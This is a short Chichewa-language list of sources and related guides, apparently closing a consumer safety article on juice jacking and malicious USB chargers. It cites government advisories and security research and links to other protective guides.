• Federal Bureau of Investigation (FBI) & Federal Communications Commission (FCC) (United States): Zilengezo za Public Service on Public USB Charging Station Risks ("Juice Jacking") ndi Malicious Hardware Implants.
• National Security Agency (NSA) & Cybersecurity and Infrastructure Security Agency (CISA) (United States): Machitidwe Abwino Kwambiri pa Chipangizo Cham'manja: Kuyenda Motetezedwa Ndi Mafoni a M'manja, Malaputopu, ndi Zoyendera za USB.
• Graz University of Technology (TU Graz InfoSec Research Group): ChoiceJacking: Kusokoneza Zida Zam'manja Kupyolera mu Ma charger Oyipa kudzera pa USB HID Injection (USENIX Security Symposium).
• Apple Platform Security Guide: * USB Restricted Mode, Accessories Access Pamene Chatsekedwa, ndi MacOS Apple Silicon USB/Thunderbolt Accessory Authorization Architecture*.
• USB Implementers Forum (USB-IF): * Kutsimikizika kwa USB Type-C, Kutumiza Mphamvu (USB PD), ndi Human Interface Device (HID Kalasi 0x03) Zofotokozera*.

Maupangiri ogwirizana¶

• Public Wi-Fi, Evil Twin hotspots, ndi juice jacking chitetezo
• Kubera ma cookie a Session, pulogalamu yaumbanda ya infostealer, ndikuchotsa zizindikiro
• Stalkerware, spyware, ndi keylogger kuzindikira pa mafoni
• Malware, ransomware, ndi matenda aukazitape
• QR code phishing (quishing) ndi kulozera kwina koyipa
• Nambala zadzidzidzi malinga ndi dziko